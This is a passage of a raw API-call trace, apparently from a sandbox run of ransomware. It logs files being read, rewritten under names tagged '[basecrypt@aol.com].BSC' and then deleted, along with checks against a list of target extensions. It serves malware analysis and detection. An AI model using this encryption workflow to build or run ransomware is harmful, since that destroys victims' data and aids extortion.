WriteFile (in: hFile=0x310, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xea, lpOverlapped=0x0) returned 1 [0100.805] SetEndOfFile (hFile=0x310) returned 1 [0100.805] CloseHandle (hObject=0x310) returned 1 [0100.806] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.806] SetEndOfFile (hFile=0x30c) returned 1 [0100.807] CloseHandle (hObject=0x30c) returned 1 [0100.807] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x26) returned 1 [0100.807] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0100.808] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.808] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.808] lstrlenW (lpString=".doc") returned 4 [0100.808] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0100.808] lstrlenW (lpString=".docx") returned 5 [0100.808] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0100.808] lstrlenW (lpString=".pdf") returned 4 [0100.808] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0100.808] lstrlenW (lpString=".xls") returned 4 [0100.808] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0100.808] lstrlenW (lpString=".xlsx") returned 5 [0100.808] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0100.808] lstrlenW (lpString=".ppt") returned 4 [0100.808] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0100.808] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.808] lstrlenW (lpString=".zip") returned 4 [0100.808] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0100.808] lstrlenW (lpString=".rar") returned 4 [0100.808] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0100.808] lstrlenW (lpString=".bz2") returned 4 [0100.808] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0100.808] lstrlenW (lpString=".7z") returned 3 [0100.808] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0100.808] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.808] lstrlenW (lpString=".dbf") returned 4 [0100.808] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0100.808] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.808] lstrlenW (lpString=".1cd") returned 4 [0100.808] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0100.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.809] lstrlenW (lpString=".jpg") returned 4 [0100.809] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0100.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.809] lstrlenW (lpString=".doc") returned 4 [0100.809] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0100.809] lstrlenW (lpString=".docx") returned 5 [0100.809] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0100.809] lstrlenW (lpString=".pdf") returned 4 [0100.809] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0100.809] lstrlenW (lpString=".xls") returned 4 [0100.809] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0100.809] lstrlenW (lpString=".xlsx") returned 5 [0100.809] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0100.809] lstrlenW (lpString=".ppt") returned 4 [0100.809] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0100.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.809] lstrlenW (lpString=".zip") returned 4 [0100.809] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0100.809] lstrlenW (lpString=".rar") returned 4 [0100.809] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0100.809] lstrlenW (lpString=".bz2") returned 4 [0100.809] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0100.809] lstrlenW (lpString=".7z") returned 3 [0100.809] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0100.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.809] lstrlenW (lpString=".dbf") returned 4 [0100.809] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0100.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.809] lstrlenW (lpString=".1cd") returned 4 [0100.809] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0100.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0100.810] lstrlenW (lpString=".jpg") returned 4 [0100.810] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0100.810] lstrcmpiW (lpString1=".ini", lpString2=".BSC") returned 1 [0100.810] lstrlenW (lpString="desktop.ini") returned 11 [0100.810] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0100.810] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=129) returned 1 [0100.810] CloseHandle (hObject=0x30c) returned 1 [0100.810] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0100.810] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0100.810] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0100.810] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.810] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.811] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0100.811] GetLastError () returned 0x0 [0100.811] ReadFile (in: hFile=0x30c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x81, lpOverlapped=0x0) returned 1 [0100.811] WriteFile (in: hFile=0x310, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x90, lpOverlapped=0x0) returned 1 [0100.812] ReadFile (in: hFile=0x30c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.812] WriteFile (in: hFile=0x310, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xea, lpOverlapped=0x0) returned 1 [0100.812] SetEndOfFile (hFile=0x310) returned 1 [0100.812] CloseHandle (hObject=0x310) returned 1 [0100.813] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.813] SetEndOfFile (hFile=0x30c) returned 1 [0100.814] CloseHandle (hObject=0x30c) returned 1 [0100.814] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x26) returned 1 [0100.814] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0100.815] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.815] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.815] lstrlenW (lpString=".doc") returned 4 [0100.815] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0100.815] lstrlenW (lpString=".docx") returned 5 [0100.815] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0100.815] lstrlenW (lpString=".pdf") returned 4 [0100.815] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0100.815] lstrlenW (lpString=".xls") returned 4 [0100.815] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0100.815] lstrlenW (lpString=".xlsx") returned 5 [0100.815] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0100.815] lstrlenW (lpString=".ppt") returned 4 [0100.815] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0100.815] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.815] lstrlenW (lpString=".zip") returned 4 [0100.815] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0100.815] lstrlenW (lpString=".rar") returned 4 [0100.815] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0100.815] lstrlenW (lpString=".bz2") returned 4 [0100.815] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0100.815] lstrlenW (lpString=".7z") returned 3 [0100.815] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0100.815] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.815] lstrlenW (lpString=".dbf") returned 4 [0100.815] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0100.815] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.815] lstrlenW (lpString=".1cd") returned 4 [0100.815] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0100.815] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.815] lstrlenW (lpString=".jpg") returned 4 [0100.815] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0100.816] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.816] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.816] lstrlenW (lpString=".doc") returned 4 [0100.816] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0100.816] lstrlenW (lpString=".docx") returned 5 [0100.816] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0100.816] lstrlenW (lpString=".pdf") returned 4 [0100.816] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0100.816] lstrlenW (lpString=".xls") returned 4 [0100.816] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0100.816] lstrlenW (lpString=".xlsx") returned 5 [0100.816] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0100.816] lstrlenW (lpString=".ppt") returned 4 [0100.816] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0100.816] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.816] lstrlenW (lpString=".zip") returned 4 [0100.816] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0100.816] lstrlenW (lpString=".rar") returned 4 [0100.816] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0100.816] lstrlenW (lpString=".bz2") returned 4 [0100.816] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0100.816] lstrlenW (lpString=".7z") returned 3 [0100.816] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0100.816] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.816] lstrlenW (lpString=".dbf") returned 4 [0100.816] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0100.816] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.816] lstrlenW (lpString=".1cd") returned 4 [0100.816] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0100.816] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0100.816] lstrlenW (lpString=".jpg") returned 4 [0100.816] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0100.817] Sleep (dwMilliseconds=0x64) [0101.206] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0101.206] lstrlenW (lpString="eula.rtf") returned 8 [0101.206] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0101.207] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=6309) returned 1 [0101.207] CloseHandle (hObject=0x320) returned 1 [0101.207] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0101.207] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.207] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0101.207] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.207] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.207] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0101.208] GetLastError () returned 0x0 [0101.208] ReadFile (in: hFile=0x320, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0101.329] WriteFile (in: hFile=0x324, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0101.330] ReadFile (in: hFile=0x320, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.330] WriteFile (in: hFile=0x324, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xe4, lpOverlapped=0x0) returned 1 [0101.330] SetEndOfFile (hFile=0x324) returned 1 [0101.331] CloseHandle (hObject=0x324) returned 1 [0101.331] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.331] SetEndOfFile (hFile=0x320) returned 1 [0101.332] CloseHandle (hObject=0x320) returned 1 [0101.333] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0101.333] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0101.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.333] lstrlenW (lpString=".doc") returned 4 [0101.333] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.333] lstrlenW (lpString=".docx") returned 5 [0101.333] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.333] lstrlenW (lpString=".pdf") returned 4 [0101.333] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.333] lstrlenW (lpString=".xls") returned 4 [0101.334] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.334] lstrlenW (lpString=".xlsx") returned 5 [0101.334] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.334] lstrlenW (lpString=".ppt") returned 4 [0101.334] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.334] lstrlenW (lpString=".zip") returned 4 [0101.334] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.334] lstrlenW (lpString=".rar") returned 4 [0101.334] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.334] lstrlenW (lpString=".bz2") returned 4 [0101.334] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.334] lstrlenW (lpString=".7z") returned 3 [0101.334] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.334] lstrlenW (lpString=".dbf") returned 4 [0101.334] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.334] lstrlenW (lpString=".1cd") returned 4 [0101.334] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.334] lstrlenW (lpString=".jpg") returned 4 [0101.334] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.334] lstrlenW (lpString=".doc") returned 4 [0101.335] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0101.335] lstrlenW (lpString=".docx") returned 5 [0101.335] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0101.335] lstrlenW (lpString=".pdf") returned 4 [0101.335] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0101.335] lstrlenW (lpString=".xls") returned 4 [0101.335] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0101.335] lstrlenW (lpString=".xlsx") returned 5 [0101.335] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0101.335] lstrlenW (lpString=".ppt") returned 4 [0101.335] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0101.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.335] lstrlenW (lpString=".zip") returned 4 [0101.335] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0101.335] lstrlenW (lpString=".rar") returned 4 [0101.335] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.335] lstrlenW (lpString=".bz2") returned 4 [0101.335] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0101.335] lstrlenW (lpString=".7z") returned 3 [0101.335] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0101.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.335] lstrlenW (lpString=".dbf") returned 4 [0101.335] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0101.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.335] lstrlenW (lpString=".1cd") returned 4 [0101.335] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0101.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0101.335] lstrlenW (lpString=".jpg") returned 4 [0101.336] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0101.336] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0101.336] lstrlenW (lpString="LocalizedData.xml") returned 17 [0101.336] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0101.563] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=60816) returned 1 [0101.563] CloseHandle (hObject=0x33c) returned 1 [0101.563] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0101.563] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.563] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0101.563] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.563] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.563] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0101.564] GetLastError () returned 0x0 [0101.564] ReadFile (in: hFile=0x33c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0xed90, lpOverlapped=0x0) returned 1 [0102.164] WriteFile (in: hFile=0x340, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0102.167] ReadFile (in: hFile=0x33c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.167] WriteFile (in: hFile=0x340, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.167] SetEndOfFile (hFile=0x340) returned 1 [0102.168] CloseHandle (hObject=0x340) returned 1 [0102.170] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.170] SetEndOfFile (hFile=0x33c) returned 1 [0102.172] CloseHandle (hObject=0x33c) returned 1 [0102.172] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.172] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0102.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.172] lstrlenW (lpString=".doc") returned 4 [0102.173] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.173] lstrlenW (lpString=".docx") returned 5 [0102.173] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.173] lstrlenW (lpString=".pdf") returned 4 [0102.173] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.173] lstrlenW (lpString=".xls") returned 4 [0102.173] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.173] lstrlenW (lpString=".xlsx") returned 5 [0102.173] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.173] lstrlenW (lpString=".ppt") returned 4 [0102.173] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 